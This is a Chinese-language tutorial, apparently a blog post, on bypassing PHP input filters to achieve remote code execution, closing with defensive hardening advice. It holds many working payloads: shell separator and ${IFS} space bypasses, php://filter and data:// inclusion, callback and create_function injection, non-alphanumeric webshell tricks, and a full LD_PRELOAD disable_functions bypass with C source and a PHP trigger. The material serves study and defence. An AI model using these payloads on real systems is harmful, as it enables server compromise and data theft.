PHP安全攻防:绕过过滤机制实现RCE的高级技巧与防御策略
1. 项目概述:当安全机制成为攻击者的“跳板”
在Web安全领域,PHP因其广泛的应用,一直是攻防对抗的焦点。开发者们绞尽脑汁,使用各种过滤函数(如 preg_replace 、 str_replace 、 escapeshellarg 、 escapeshellcmd 、 addslashes 、 htmlspecialchars 等)来净化用户输入,试图将危险字符扼杀在摇篮里。然而,对于攻击者而言,这些过滤机制并非坚不可摧的城墙,而更像是一道需要“解题思路”的谜题。所谓“绕过PHP过滤的RCE高级技巧”,其核心就是研究这些过滤逻辑的“盲点”与“特性”,利用PHP语言本身的灵活性、函数行为的微妙差异以及上下文环境的特殊性,将看似无害的输入,最终拼接、触发为可执行的系统命令或PHP代码。
这绝不是简单的字符替换游戏。它要求攻击者(或安全研究员)对PHP有深入的理解,从语法、函数、协议到运行环境,进行多维度、深层次的挖掘。每一次成功的绕过,都是对防御体系一次精准的“外科手术式”打击,暴露了安全开发中“想当然”的思维定式。对于防御方来说,了解这些技巧不是为了实施攻击,而是为了构建更健壮、更深层次的防御策略,真正做到“知己知彼,百战不殆”。本文将深入剖析几种典型且高级的绕过姿势,从原理到实操,带你理解攻击者的思维路径,从而加固你的应用防线。
2. 核心思路拆解:从“黑名单”到“上下文博弈”
在开始具体技巧之前,我们必须建立一个核心认知:所有过滤绕过的本质,都是 利用过滤逻辑与最终执行逻辑之间的“认知偏差” 。防御者在一个层面(通常是字符串处理层)进行过滤,而攻击者则尝试在另一个层面(语法解析层、函数行为层、协议处理层)让输入“恢复”其恶意本质。
2.1 过滤策略的常见误区
开发者常犯的几个错误,为绕过留下了空间:
- 不完全的黑名单 :只过滤了
;、&、|,却忘了\n(换行符)在shell_exec中同样可以分隔命令。或者只过滤了system、exec,却允许passthru、shell_exec、proc_open,甚至是通过回调函数动态调用命令。 - 错误的转义上下文 :在SQL注入中,使用
addslashes转义单引号是常见做法。但在某些特定字符集(如GBK)下,可能引发宽字节注入,因为转义符\(0x5C)本身可能成为多字节字符的一部分。在命令执行中,escapeshellarg和escapeshellcmd的行为差异巨大,错误使用或组合使用可能导致漏洞。 - 对输入数据流的单一理解 :只对
$_GET、$_POST进行过滤,却忽略了$_COOKIE、$_SERVER(如HTTP_X_FORWARDED_FOR)、php://input流,或者文件上传的$_FILES[‘file’][‘name’]。攻击者可以从任何可控的输入点注入。 - 依赖客户端的过滤 :这是最致命的错误。任何在浏览器端(JavaScript)进行的过滤或验证,都可以被完全绕过。服务器端必须进行独立的、彻底的校验。
- 过滤顺序与逻辑错误 :先解码(如
urldecode)后过滤,还是先过滤后解码?如果攻击者进行双重编码(如%2561解码一次是%61,再解码一次是a),错误的顺序会导致过滤被绕过。
2.2 高级绕过的核心维度
基于以上误区,我们可以将高级绕过技巧归纳为以下几个维度:
- 语法维度 :利用PHP代码/Shell命令的多种书写和分隔方式。例如,命令分隔不止有
;,还有&、&&、|、||、\n、%0a、反引号`、$(...)等。PHP代码执行不止有eval,还有assert、create_function、preg_replace的/e修饰符(已废弃但老系统仍有)、call_user_func、array_map等。 - 编码与解码维度 :利用多次编码、非常规编码(如十六进制、八进制、Unicode)来逃避基于字符串匹配的过滤。例如,过滤了
cat,但\143\141\164(八进制)或0x636174(十六进制)在特定上下文(如echo命令中)可能被还原。 - 协议与包装器维度 :PHP强大的流包装器(
php://,data://,expect://,zip://等)是绕过的利器。它们可以用于读取文件、包含代码、甚至执行命令,常常能绕过对文件路径或特定函数的直接过滤。 - 字符串处理与拼接维度 :利用
.连接符、${}变量内插、$变量动态特性、strrev反转后再执行等技巧,将恶意载荷拆散、变形,在运行时重组。 - 特性与Bug利用维度 :利用特定PHP版本、扩展或配置的已知特性或漏洞。例如,
php://filter过滤器链的巧妙组合可以进行编码转换绕过死亡exit;某些环境下mail()函数的第五个参数可用于执行命令。
理解了这些维度,我们就像拥有了一个“攻击工具箱”。下面,我们将进入实战环节,看看这些工具是如何被具体运用的。
3. 实战技巧解析:从经典到奇技淫巧
我们将通过几个由浅入深的场景,来剖析具体的绕过技巧。每个技巧都会附上原理说明、示例Payload以及关键的 注意事项 。
3.1 场景一:命令注入中的分隔符与空格绕过
假设一个简单的命令执行点: $cmd = $_GET[‘cmd’]; system(“ping -c 4 “ . $cmd); 。开发者意识到危险,做了如下过滤: $cmd = str_replace(array(‘;’, ‘&’, ‘|’), ‘’, $cmd); 。
绕过尝试1:使用其他分隔符
注意:
system()函数会将字符串交给系统的shell(如/bin/sh)执行。因此,所有shell支持的分隔符都值得尝试。
原始输入:127.0.0.1 && whoami
过滤后:127.0.0.1 whoami (`&&`被过滤?这里假设过滤了`&`,但`&&`是两个字符,如果过滤逻辑是替换单个`&`,则`&&`会变成空,但若逻辑是`str_replace(‘&&’, ‘’, $cmd)`则能防住。这里演示逻辑不严谨的过滤。)
更稳妥的绕过:使用换行符 `%0a`
Payload: 127.0.0.1%0aid
在Shell中,换行符和分号一样,是命令分隔符。 system(“ping -c 4 127.0.0.1\nid”) 会先执行ping,然后执行id。
绕过尝试2:绕过空格的限制 有时,连空格都会被过滤。此时需要寻找空格的替代品。
-
${IFS}:在Bash中,IFS是内部字段分隔符,默认包含空格、制表符、换行符。${IFS}可以直接作为空格使用。- Payload:
127.0.0.1&&cat${IFS}/etc/passwd
- Payload:
-
<或<>:重定向符号在某些上下文中可以替代空格,特别是在文件路径参数中。- Payload:
127.0.0.1&&cat</etc/passwd(将/etc/passwd作为输入传给cat)
- Payload:
- 花括号扩展
{cat,/etc/passwd}:这并非在所有命令中都有效,但在某些构造中很巧妙。 - 变量控制 :
$IFS$9,其中$9通常是第9个参数,通常为空,组合起来就是空格。或者直接定义变量:X=$’\x20’; cat$X/etc/passwd。
实操心得 : 命令注入绕过的第一步永远是 探测 。先提交 127.0.0.1 看是否正常执行,然后提交 127.0.0.1’ 或 127.0.0.1” 看是否有错误信息(判断引号闭合),再尝试 127.0.0.1; sleep 5 观察是否有延迟,最后系统性地测试所有可能的分隔符和空格替代品。使用Burp Suite的Intruder模块,加载一个分隔符字典进行Fuzz,是最高效的方法。
3.2 场景二:利用PHP字符串解析特性进行代码执行绕过
PHP的字符串解析和变量处理有一些“怪癖”,可以被巧妙利用。
技巧1:利用花括号 {} 和方括号 [] 的歧义性 在双引号字符串中, ${} 可以用于解析变量。如果过滤了括号 () ,但没过滤花括号 {} ,且我们能控制一个变量名,就可能构成代码执行。
// 假设代码:eval(“\$str = \”$input\”;”); // 用户输入被放入双引号字符串中
// 过滤了 `()` 和 `;`
$input = ‘{${phpinfo()}}’; // 错误,因为过滤了括号
// 尝试:如果php.ini中register_globals=On(极老版本,现代已废弃),或者通过其他方式定义了变量$a
$input = ‘{${phpinfo}}’; // 这通常不行,因为phpinfo是函数,不是变量。
// 更常见的利用:通过GET/POST传入变量
// 假设代码:eval(“\$a = ‘$GET[‘var’]’;”);
// 攻击者请求:?var=abc&abc=system(‘id’)
// 那么eval内成为:$a = ‘{${abc}}’; 而abc的值是system(‘id’),但这里仍需执行环境。这更常用于可变变量。
这个技巧比较晦涩,成功率不高,但它揭示了PHP复杂变量解析可能带来的风险。
技巧2:十六进制、八进制字符串绕过关键字过滤 如果代码使用 preg_replace(‘/system|exec|passthru/i’, ‘’, $input) 来删除危险函数名,我们可以用编码绕过。
$input = ‘\x73\x79\x73\x74\x65\x6d(\’id\’)’; // system(‘id’) 的十六进制表示
// 或八进制
$input = ‘\163\171\163\164\145\155(\151\144)’; // system(id) 的八进制
但这里有个关键: 单纯的字符串编码,在 eval 中并不会被自动解码执行 。 eval(“\x73\x79…”) 只会把它当作普通字符串。要让其生效,需要借助能够解码字符串的函数。
技巧3:配合 chr() 函数或 . 连接符动态构造 既然直接写编码不行,我们就动态构造。
// 假设过滤了 ‘system’ 这个词
$input = ‘$f=chr(115).chr(121).chr(115).chr(116).chr(101).chr(109);$f(“id”);’;
// chr(115)是’s’,依次拼接成’system’,然后作为变量函数调用。
如果连 chr 都被过滤了,还可以利用其他方式生成字符,比如利用 phpinfo()[0] 获取字符 ‘P’( phpinfo() 返回字符串, [0] 取第一个字符),但这需要更多技巧。
3.3 场景三:PHP流包装器的魔法—— php://filter 与 data://
这是PHP Web安全中 极其重要 的一环,常用于文件包含、读取源码等场景,进而可能导向RCE。
php://filter 的妙用:读取源码与编码转换 假设有一个文件包含漏洞: include($_GET[‘file’] . ‘.php’); ,但限制了后缀 .php 。我们可以使用 php://filter 来读取任意文件的源码,因为 include 会执行文件,而 php://filter/read=... 可以先将文件内容经过编码转换,再交给 include 处理。如果编码转换导致内容无法被解析为PHP,就会以文本形式显示源码。
Payload: ?file=php://filter/read=convert.base64-encode/resource=index
这会将 index.php 的内容进行base64编码后输出,我们解码即可得到源码。在源码中可能找到数据库密码、其他敏感文件路径或未过滤的代码执行点。
更高级的用法是 过滤器链 和 死亡 exit 绕过 。有些防御代码会在文件开头或结尾添加 die(); 或 exit(); 来防止文件被读取。我们可以利用过滤器链进行多次编码解码,将 <?php exit();?> 这段死亡代码破坏掉。
// 假设包含点代码是:include($_GET[‘file’]);
// 攻击者写入一个包含webshell的文本文件(内容为:<?php eval($_POST[‘c’]);?>),但包含时前面有exit
// 利用过滤器链绕过
?file=php://filter/read=convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=/path/to/uploaded/file.txt
其原理是, convert.base64-decode 会将输入当作base64字符串解码。 <?php exit();?> 经过base64编码后再解码,如果长度不是4的倍数,解码会出错,可能破坏掉原来的结构,而我们的webshell payload如果精心构造,可以存活下来。这需要精确计算字符数。
data:// 协议的直接代码执行 data:// 协议允许直接在URI中嵌入数据。如果 allow_url_include 配置为 On (默认是 Off ,但某些环境会开启),就可以直接执行任意代码。
Payload: ?file=data://text/plain,<?php phpinfo();?>
// 或者base64编码,避免特殊字符问题
Payload: ?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
这相当于直接 include 了一段包含 phpinfo(); 的代码,实现了RCE。这是最直接、最危险的绕过方式之一,其防御完全依赖于 allow_url_include 和 allow_url_fopen 的严格配置。
注意事项 : 使用流包装器时,一定要清楚目标服务器的PHP配置。 allow_url_include 和 allow_url_fopen 是总开关。此外, php://input 可以读取POST的原始数据,常与 include 或 file_get_contents 结合使用,通过POST传递PHP代码执行。例如: ?file=php://input ,然后在POST Body里发送 <?php system(‘id’);?> 。
3.4 场景四:利用回调函数与动态函数执行
PHP中有一类函数,接受一个字符串参数作为函数名来调用,或者接受一个字符串作为代码执行。这是绕过“禁用函数列表”的常见突破口。
call_user_func 与 array_map 等
// 假设代码:$func = $_GET[‘func’]; $arg = $_GET[‘arg’]; call_user_func($func, $arg);
// 如果func和arg可控,且过滤不严
Payload: ?func=system&arg=id
// 即使过滤了system,也可以尝试其他函数,如passthru, shell_exec, exec等。
// 或者利用phpinfo, scandir等函数先进行信息收集。
array_map 、 array_filter 、 array_walk 等函数如果第一个参数可控,也可能导致代码执行。
// 危险代码:array_map($_GET[‘func’], array($_GET[‘arg’]));
Payload: ?func=system&arg=id
create_function 代码注入 create_function 已废弃,但在老代码中大量存在。它通过字符串动态创建匿名函数。
$func = create_function(‘$a’, ‘return $a . “‘ . $_GET[‘input’] . ‘”;’);
如果 input 参数未过滤,攻击者可以闭合前面的字符串和语句,注入新代码。
Payload: ?input=’;};phpinfo();//
生成的函数代码会变成:
return $a . ”;};phpinfo();//”;
这就成功注入了 phpinfo(); 。
preg_replace 的 /e 修饰符(已移除) 在PHP 5.x 时代, preg_replace 的 /e 修饰符允许将替换字符串作为PHP代码执行。这是非常经典的代码执行漏洞。
echo preg_replace(‘/.*/e’, $_GET[‘code’], ‘test’);
提交 ?code=phpinfo() 即可执行。虽然PHP7中已移除,但在审计老系统时仍需警惕。
实操心得 : 审计代码时,要特别关注任何将用户输入直接或间接传递给以下函数的行为: call_user_func() 、 call_user_func_array() 、 array_map() 、 array_filter() 、 array_reduce() 、 array_walk() 、 array_walk_recursive() 、 usort() 、 uasort() 、 uksort() 、 register_shutdown_function() 、 register_tick_function() 、 filter_var() 、 filter_var_array() ,以及 ob_start() 的回调函数。这些是潜在的“动态代码执行”热点。
4. 组合拳与奇技淫巧:在严苛环境下的突破
当单一技巧被防御时,组合使用多种技巧往往能出奇制胜。
4.1 案例:无字母数字的Webshell
这是一个经典的挑战:如何在不使用任何字母(a-z, A-Z)和数字(0-9)的情况下,构造出能执行任意PHP代码的Payload。这通常用于对抗严格的字符串正则过滤。
核心原理 :利用PHP中非字母数字的字符,通过位运算(如异或 ^ 、取反 ~ )、字符串连接 . 和自增运算符 ++ 来生成我们需要的字符。
-
利用取反
~:~运算符会对字符串进行按位取反。我们可以先构造一个看似乱码的字符串,其取反后的结果是我们想要的函数名。// 我们想要 ‘phpinfo’ // ‘phpinfo’ 的二进制取反后,得到一个乱码字符串 $payload = ‘(~%8F%97%8F%96%91%99%90)();’; // 这串URL编码后的字符,取反就是 ‘phpinfo’ // 在代码中 eval(~’%8F%97…’) 就会变成 ‘phpinfo’但如何执行这个取反操作?如果我们可以用
$_GET[x]传递这个乱码字符串,然后在代码中对其取反并执行,就需要一个能执行代码的环境。通常,我们需要先通过其他方式(如文件包含)引入一个能解析这种Payload的脚本,或者利用已有的非常小的代码执行缝隙。 -
利用异或
^:两个字符串进行异或运算,可以得到第三个字符串。我们可以构造两个由非字母数字字符组成的字符串A和B,使得A ^ B = ‘phpinfo’。// 例如(仅为示意,实际需要精确计算): $a = ‘1234567’; $b = ‘ABCDEFG’; // $a ^ $b 会得到另一个字符串。我们需要精心挑选A和B,使得结果是我们想要的。 // 通常通过脚本暴力穷举生成。然后Payload可以写成:
($_=‘某串字符’^‘另一串字符’)();,$_的值就是phpinfo。 -
利用自增
++:在PHP中,可以对字符串进行自增操作(‘a’++ => ‘b’)。我们可以从一个非常规的起始点(如‘_’(下划线)或‘[‘)开始,通过多次自增得到字母。$_=‘_’; // 得到下划线 $__=$_++; // $__=‘_’, $_=‘a’ $___=$_++; // $___=‘a’, $_=‘b’ // … 如此反复,可以拼出 ‘assert’ 等函数名,再配合动态执行。但这通常需要较长的Payload,并且需要能够执行多行代码的环境。
注意事项 : 无字母数字Webshell的构造非常精妙,但通常需要目标环境允许执行较复杂的PHP语句(比如已经有一个 eval($_POST[‘a’]) 的点,但过滤了字母数字)。它更像是一种“炫技”和针对特定CTF题目的解法,在实际渗透中,如果已经有一个可执行任意代码的点,攻击者往往会选择更直接的方式。然而,理解其原理对于深入理解PHP语言特性大有裨益。
4.2 案例:通过环境变量与 LD_PRELOAD 绕过 disable_functions
这是Linux系统下一种高阶的绕过技巧。当PHP的 disable_functions 配置禁用了几乎所有命令执行函数( system , exec , passthru , shell_exec , proc_open , popen 等)时,仍然可能存在突破口。
核心原理 :利用PHP的 mail() 函数或 error_log() 函数。在发送邮件或记录错误时,PHP会在底层调用系统的 /usr/sbin/sendmail 程序。这个过程会 fork 一个新进程。而Linux有一个环境变量叫 LD_PRELOAD ,它可以让我们在程序运行前,优先加载一个我们自定义的动态链接库( .so 文件)。如果我们能控制这个环境变量,并让 sendmail 加载我们恶意的库,库中的初始化函数(如 __attribute__((constructor)) 定义的函数)就会在新进程中被执行,从而实现RCE。
步骤简述 :
- 找到一个能启动外部进程的PHP函数 :
mail()是最常见的。imap_mail()、mb_send_mail()也可能。error_log()当使用1作为第二个参数时(发送到PHP系统日志器),在某些配置下也会调用sendmail。 - 编写一个恶意C库 :这个库定义一个构造函数,在里面执行系统命令(如
system(“/bin/bash -c ‘反弹Shell命令'”))。// evil.c #include <stdlib.h> #include <stdio.h> #include <string.h> __attribute__((constructor)) void init() { unsetenv(“LD_PRELOAD”); // 避免无限循环 const char* cmd = getenv(“EVIL_CMD”); if (cmd != NULL) { system(cmd); } } - 编译成共享库 :
gcc -shared -fPIC evil.c -o evil.so - 上传
.so文件 :通过网站的文件上传漏洞,将evil.so上传到服务器可访问的路径(如/tmp/evil.so)。 - 通过PHP控制环境变量并调用
mail():
这里的关键是,putenv(“LD_PRELOAD=/tmp/evil.so”); putenv(“EVIL_CMD=id > /tmp/output”); mail(“a@localhost”, “”, “”, “”); // 触发 sendmail,加载我们的so,执行id命令 // 然后读取 /tmp/output 获取命令结果putenv函数往往不在disable_functions列表中!
实操心得与难点 :
-
sendmail路径 :目标系统可能没有安装sendmail,或者路径不同。可以使用ini_get(‘sendmail_path’)来探测。有时是/usr/sbin/sendmail -t -i。 -
LD_PRELOAD劫持的目标函数 :更可靠的方法是劫持一个几乎一定会被调用的库函数,如getuid()、getpid()、strstr()等,而不是依赖构造函数。因为mail()进程可能不会执行我们库中的所有代码,但一定会调用一些基本函数。// 劫持 getuid() uid_t getuid(void) { unsetenv(“LD_PRELOAD”); system(getenv(“EVIL_CMD”)); return 0; } - 防御 :除了严格控制
disable_functions,还应考虑禁用putenv函数,并严格控制mail()函数的使用或使用不依赖外部程序的邮件发送方式。
5. 防御之道:从源头构建纵深防御
了解了这么多攻击技巧,作为开发者,我们应该如何防御?
- 白名单优于黑名单 :对于输入类型确定的情况(如手机号、邮箱、分类ID),使用白名单验证是唯一可靠的方式。只允许已知好的值通过。
- 严格的数据类型转换 :对于期望是数字的参数,使用
intval()、floatval()强制转换,而不是仅仅过滤字符。 - 使用安全的API :执行系统命令,优先使用
proc_open()或popen()并妥善设置参数,而不是直接拼接字符串调用system()或shell_exec()。如果必须拼接,请使用escapeshellarg()对每个参数进行转义。重要提示:
escapeshellarg()和escapeshellcmd()功能不同,且一起使用可能导致漏洞。通常,对单个参数使用escapeshellarg()是安全的。 - 禁用危险函数与配置 :在
php.ini中,将disable_functions设置为禁用不必要的命令执行、代码执行函数(如system,exec,passthru,shell_exec,proc_open,popen,eval,assert,create_function等)。将allow_url_fopen和allow_url_include设置为Off。 - 最小权限原则 :运行PHP的进程用户(如www-data)应该具有尽可能低的权限。不要以root身份运行Web服务。确保网站目录的文件权限设置正确,上传目录不可执行。
- 代码审计与安全开发规范 :在代码层面,避免使用
eval()、assert()等动态执行函数。如果必须使用,确保输入完全可控或经过严格的白名单过滤。对所有用户输入进行统一的、严格的过滤和验证,并遵循“数据与代码分离”的原则。 - 使用安全的反序列化 :PHP对象反序列化是另一个RCE重灾区。不要反序列化不可信的输入。如果必须,可以使用
json_decode()代替unserialize(),或者使用实现了签名验证的序列化库。 - 部署WAF与日志监控 :Web应用防火墙(WAF)可以帮助拦截一些常见的攻击Payload。同时,详细记录访问日志和错误日志,并设置异常行为告警,以便在发生攻击时能快速发现和响应。
绕过与防御是一场永无止境的猫鼠游戏。攻击技术在进化,防御理念也需要不断更新。真正的安全不在于堵住所有已知的漏洞,而在于建立一个即使某个点被突破,也能将损失控制在最小范围的纵深防御体系。理解这些高级绕过技巧,正是为了能更好地构建和加固这个体系。在实战中,遇到看似严密的过滤时,多想一想:“过滤逻辑和执行逻辑真的在同一个层面吗?有没有我没想到的输入点或解析方式?” 这种思维训练,无论是对于攻击方还是防御方,都是最宝贵的财富。
更多推荐


所有评论(0)